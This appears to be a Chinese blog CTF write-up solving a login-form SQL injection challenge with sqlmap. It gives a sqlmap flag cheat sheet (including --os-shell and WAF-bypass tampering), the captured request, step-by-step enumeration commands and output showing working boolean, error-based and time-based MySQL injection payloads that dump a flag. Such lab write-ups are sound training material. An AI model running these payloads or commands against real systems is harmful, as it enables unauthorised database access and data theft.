当前位置: 首页 > news >正文

sqlmap学习ing(2.[第一章 web入门]SQL注入-2(报错,时间,布尔))

根据提示访问页面

Ctrl+U查看源码

unicode编码在线转化工具转换为中文。

判断注入类型:

证明是字符报错注入且账号 admin是存在的

可以得出闭合方式为:单引号 '

使用sqlmap经行注入

### 总结参数作用:
-u        指定目标URL。
-C        指定列名(多个列用逗号分隔)。
-D        指定数据库名。
-T        指定表名。
-r        从文件加载请求,保留请求细节,自动识别注入点。
--data       指定POST方法发送的数据,sqlmap -u <URL> --data="<POST_DATA>",它在检测 POST 注入漏洞时至关重要。
--columns       枚举指定表中的列。
--tables        枚举指定数据库中的表。
--dump          导出数据。
--dbs	        枚举所有数据库	sqlmap -u URL --dbs
--level	        测试深度(1-5)	--level 3(检测Cookie注入)
--risk	        风险等级(1-3)	--risk 3(使用危险语句)
--proxy	        使用代理	--proxy="http://127.0.0.1:8080"
--tamper	    绕过WAF	--tamper=space2comment
--forms         自动处理表单,用于自动发现表单并注入。
--batch         无需用户交互,自动选择默认选项。
--current-db    获取当前数据库名。
--dump-all	    导出所有数据	sqlmap -u URL --dump-all
--os-shell	    获取系统shell	sqlmap -u URL --os-shell
抓包,保存为txt文件,sqlmap梭sqlmap -r ./1111.txt --batch --dbssqlmap -r ./1111.txt --batch -D note --tablessqlmap -r ./1111.txt --batch -D note -T fl4g --columnssqlmap -r ./1111.txt --batch -D note -T fl4g -C flag --dumpsqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" --dbs --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note --tables --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g --colums --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g -C flag --dump --batch
┌──(root💀kali)-[/home/kali/Desktop]
└─# cat 1111.txt       
POST /login.php?tips=1 HTTP/1.1
Host: challenge.qsnctf.com:32146
Content-Length: 85
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://challenge.qsnctf.com:32146
Referer: http://challenge.qsnctf.com:32146/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=123&pass=1244┌──(root💀kali)-[/home/kali/Desktop]
└─# ┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note --tables --batch              130 ⨯_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [']     | .'| . |                                            
|___|_  [']_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:00 /2025-07-01/[07:14:00] [INFO] parsing HTTP request from './1111.txt'
[07:14:01] [INFO] resuming back-end DBMS 'mysql' 
[07:14:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:02] [INFO] fetching tables for database: 'note'
[07:14:02] [INFO] retrieved: 'fl4g'
[07:14:02] [INFO] retrieved: 'users'
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+[07:14:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:02 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g --columns --batch_____H__                                                         ___ ___[(]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [.]     | .'| . |                                            
|___|_  [)]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:51 /2025-07-01/[07:14:51] [INFO] parsing HTTP request from './1111.txt'
[07:14:51] [INFO] resuming back-end DBMS 'mysql' 
[07:14:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:52] [INFO] fetching columns for table 'fl4g' in database 'note'
[07:14:52] [INFO] retrieved: 'flag'
[07:14:52] [INFO] retrieved: 'varchar(40)'
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+[07:14:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:52 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g -C flag --dump --batch_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [)]     | .'| . |                                            
|___|_  [(]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:15:18 /2025-07-01/[07:15:18] [INFO] parsing HTTP request from './1111.txt'
[07:15:19] [INFO] resuming back-end DBMS 'mysql' 
[07:15:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:15:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:15:20] [INFO] fetching entries of column(s) 'flag' for table 'fl4g' in database 'note'                                                
[07:15:20] [INFO] retrieved: 'n1book{login_sqli_is_nice}'
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

得到flag

http://www.lqws.cn/news/590311.html

相关文章:

  • rocketmq 之 阿里云转本地部署实践总结
  • Vue3 中 Excel 导出的性能优化与实战指南
  • 创建和连接Vue应用程序实例
  • 缓存系统-淘汰策略
  • 强化学习系列--dpo损失函数
  • 齿轮的齿厚极限偏差如何确定?一起学习一下
  • C++基础
  • 目前最火的agent方向-A2A快速实战构建(二): AutoGen模型集成指南:从OpenAI到本地部署的全场景LLM解决方案
  • 《Python 架构之美:三大设计模式实战指南》
  • 【FR801xH】富芮坤FR801xH之UART
  • 【javaAI】SpringAI快速入门
  • 【C#】如果有一个数值如 168.0000100,如何去除末尾的无效零,只显示有效的小数位数,让DeepSeek给我们解答
  • 半加器和全加器
  • Disruptor架构哲学
  • 【机器学习2】正则化regularizaiton(降低模型过拟合)
  • 设备管理的11个指标、七大误区、六大特征
  • muduo
  • 数据结构——线性表的链式存储
  • QT笔记---环境和编译出现的问题
  • Golang的代码结构设计原则与实践与模式应用
  • helm安装配置jenkins
  • 百度轮岗:任命新CFO,崔珊珊退居业务二线
  • Redis-7.4.3-Windows-x64下载安装使用
  • 时空数据挖掘五大革新方向详解篇!
  • 我认知的AI宇宙系列第三期
  • 强化学习概述及学习流程
  • 3D词云图
  • 虚拟机配置过程中的知识点
  • shardingsphere5.2.1与SpringBoot3.X的版本冲突问题
  • 华为云Flexus+DeepSeek征文 | ​​华为云ModelArts Studio大模型与企业AI会议纪要场景的对接方案